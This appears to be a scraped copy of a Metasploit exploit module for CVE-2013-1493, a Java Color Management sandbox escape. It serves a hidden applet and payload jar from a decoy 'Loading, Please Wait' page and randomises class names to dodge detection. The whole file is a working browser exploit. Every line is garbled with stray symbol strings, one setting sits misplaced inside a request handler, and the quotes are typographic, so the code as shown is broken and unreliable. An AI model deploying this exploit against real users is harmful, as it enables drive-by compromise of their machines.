### D0 L% Y$ B, l2 C
6 L( Q$ H0 s9 `+ r
# This file is part of the Metasploit Framework and may be subject to2 i; w3 x4 C( B2 a5 y- y. E
# redistribution and commercial restrictions. Please see the Metasploit
/ V3 L' |( ]0 L. V# web site for more information on licensing and terms of use.
) }3 S( U( R2 B2 v" X# http://metasploit.com/
% H! C6 I& w) w( d- w' d$ E##
' g: l# \# x2 N" y1 mrequire ‘msf/core’9 V! l( d* f. D+ o
require ‘rex’
1 D( D1 t! R2 Z, H4 E' Q ]class Metasploit3 < Msf::Exploit::Remote
* f6 @" i& K% M/ WRank = NormalRanking2 T5 V2 c% D& A
include Msf::Exploit::Remote::HttpServer::HTML
" C" }+ {1 Y4 ` h) |include Msf::Exploit::EXE
& S: ^3 [$ i" P) e% v. X! rinclude Msf::Exploit::Remote::BrowserAutopwn, t0 _- d: M% k
autopwn_info({ :javascript => false })
! F. [* l5 F' s: @& h, Ndef initialize( info = {} )/ I ]( |, \' U* |" |
super( update_info( info,
( B' `5 ~! O! J4 b2 a; l$ u‘Name’ => ‘Java CMM Remote Code Execution’,- V0 f/ i( I, }. |
‘Description’ => %q{
# l% k0 ?- _ \This module abuses the Color Management classes from a Java Applet to run6 J3 P8 z, [7 ?
arbitrary Java code outside of the sandbox as exploited in the wild in February9 i* `; n1 x9 t
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41 l7 [/ y) ?' Y' j
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
( ]. \) J6 _0 E8 P+ Z& Wsystems. This exploit doesn’t bypass click-to-play, so the user must accept the java+ M$ ]2 N3 c6 Q
warning in order to run the malicious applet.
! @: A) a. T9 O8 ?- O1 d! _},
: A) L% F* L# s* h) n( C‘License’ => MSF_LICENSE,5 D: ~: V2 j2 q" ?, k4 w" i
‘Author’ =>
1 m3 e5 m8 I6 {'Unknown', # Vulnerability discovery and Exploit
" Y4 K3 K1 j; J( P- L'juan vazquez' # Metasploit module (just ported the published exploit)
. V% {% l/ {/ t6 a! O/ h],( |2 S2 L9 V) O
‘References’ =>+ \5 U C; z+ Q0 h, K& [" V
[& O4 R6 d; D1 V3 A, U7 X) K
[ 'CVE', '2013-1493' ],
4 l. E4 e# h3 M* R[ 'OSVDB', '90737' ],
4 ]5 W( `. w9 w9 }$ X[ 'BID', '58238' ],
9 t# X: Z+ f& Z' ~[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
3 r. W; k: S9 g6 N" m' o[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
" I& L4 O- k$ P2 O[ 'URL', 'http://pastie.org/pastes/6581034' ]" z6 c( t4 ]" h) B; m, F5 k
],
0 R+ n7 }& M4 B/ o- m‘Platform’ => [ 'win', 'java' ],8 X8 c! m8 B, }: v
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
" O9 Q% m. R- F6 Q- @4 Y- R4 P‘Targets’ =>) h$ J. ?1 k2 h( Z( z5 n
[" m* h; V! g- ?' F7 d& k
[ 'Generic (Java Payload)',; M: o) B4 f, `$ a' C
{2 } o4 O8 t; n& w
'Platform' => 'java',
7 w1 h4 P0 o! y* l'Arch' => ARCH_JAVA
6 o( r& s A& R# J! {, e/ J+ }}
7 u) }9 | U) b7 J" v4 M' H]," V) d. M0 Z/ L+ ^ m0 u
[ 'Windows x86 (Native Payload)',
9 w$ j4 z. @% X2 I' K- D{
/ b' f. S& ?4 k4 b3 c'Platform' => 'win',- ~. B6 o3 r6 B# A( E$ B" `& p
'Arch' => ARCH_X86
* [- r1 z# K. `" g}
1 b7 ~5 w* k% ]6 N+ W9 T; |]: x" v( P: P+ a4 O2 V
],% I/ J" q& c" Y6 u& o2 {0 S
‘‘DisclosureDate’ => ‘Mar 01 2013′
% X }! j& T$ h3 O! `) S4 C))
+ l/ u( H6 w: Q3 P& \! u/ K4 Y1 uend0 ^7 d( _. { w6 W# y! U
def setup- {$ }2 e z, }4 x9 r6 q t( V
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)$ ]% Y' D- _8 Z J6 y0 ]1 k7 [8 S
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
* j, [1 V# g$ g2 V% E. R W: D: spath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
, C& W0 ]! v8 U0 J@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }5 q m( _* w( e( H/ ?
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)% o/ k& ]( }1 i9 l0 } R' c
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }: l. `& l. v0 s5 Q2 j/ X* f
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
8 c; \9 n3 c0 i+ E4 r8 P6 h3 U@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }) k/ S) w. E3 k$ s4 N" w
@init_class_name = rand_text_alpha(“Init”.length)
& ^' y: ]( A; b3 i& |# v$ Y2 _6 V@init_class.gsub!(“Init”, @init_class_name)$ R+ |$ I4 S2 V9 u- C
super; T. f3 I! J" p9 C8 y' \
end1 O. J3 F" p! |
def on_request_uri(cli, request)
# Y0 p" j; P, X. h7 `print_status(“handling request for #{request.uri}”). o. l7 {. }. w. D1 K
case request.uri
8 Q3 w0 M+ `& l+ ewhen /\.jar$/i. Z/ y& H6 `. G/ K+ E
jar = payload.encoded_jar
4 z9 \: R0 c9 Q: b+ D6 a# ajar.add_file(“#{@init_class_name}.class”, @init_class)
. Y: b9 V. C! ?0 q; \! Ijar.add_file(“Leak.class”, @leak_class)" j& I, U( e& s1 A. P! A( s
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
. `7 G3 b8 j( H' C% {% T$ bjar.add_file(“MyColorSpace.class”, @color_space_class)
2 H. u7 v! w4 b# NDefaultTarget’ => 1,1 u- Z3 J& u& F' n1 K; {
metasploit_str = rand_text_alpha(“metasploit”.length)3 P; v$ L Q! Y3 L, a8 x& Q$ y
payload_str = rand_text_alpha(“payload”.length)" d: x, r A7 }( O4 b
jar.entries.each { |entry|% s+ ^( C* p( e$ o H
entry.name.gsub!(“metasploit”, metasploit_str)
0 d4 \9 u1 j7 `" q3 }; ~- }entry.name.gsub!(“Payload”, payload_str)$ v T+ k$ Y1 R0 ~. r$ D
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
4 R+ x0 I* Z3 U: f+ V2 Eentry.data = entry.data.gsub(“Payload”, payload_str)) u9 c9 r6 p; R% W1 V. m. y3 d
}' o2 C3 u+ @2 @( G. W1 W
jar.build_manifest
+ D0 M! P' \7 I* m! qsend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
3 x: s& e6 I& j% `8 ^: awhen /\/$/
+ l! ^/ D4 L. W) q) b+ ]payload = regenerate_payload(cli)- a/ e7 J$ U* E; n h4 i" V' D
if not payload. J( T$ c2 |; G5 @3 ?( V4 l
print_error(“Failed to generate the payload.”)* o4 h' P5 Z- }& ]) L1 `
send_not_found(cli)
& c! y0 X; p8 M- ^& L4 D nreturn
" {0 m% o" \( ~1 A7 aend
+ O! k. Z4 f- p2 G! S/ ~$ Wsend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
7 u# S: i, c: C! i. Oelse
$ p c' K) ?! tsend_redirect(cli, get_resource() + ‘/’, ”)3 v2 n& t: k# [& `8 R# W7 z8 Y9 x3 G
end
4 ?$ v+ d, d5 Send- q" L* w4 i% ^2 t0 }5 A, e
def generate_html2 c: l' G9 g( `: q, x4 s/ T$ [
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|' t7 _/ ]4 R* \( u/ {/ d' A3 f
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|! U" e y5 O( @0 J- c$ a
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|2 V+ z1 J+ A# v
html += %Q|</applet></body></html>|
; j- ? o- N" }& kreturn html
# }. p6 x! C6 w. Vend9 L- j( ~+ n( C1 J- E( X3 Z# O
end4 Q3 {8 f. O, U+ V+ t- N- U" B: q
end
- j) _9 w3 c- g! ~* c) Y |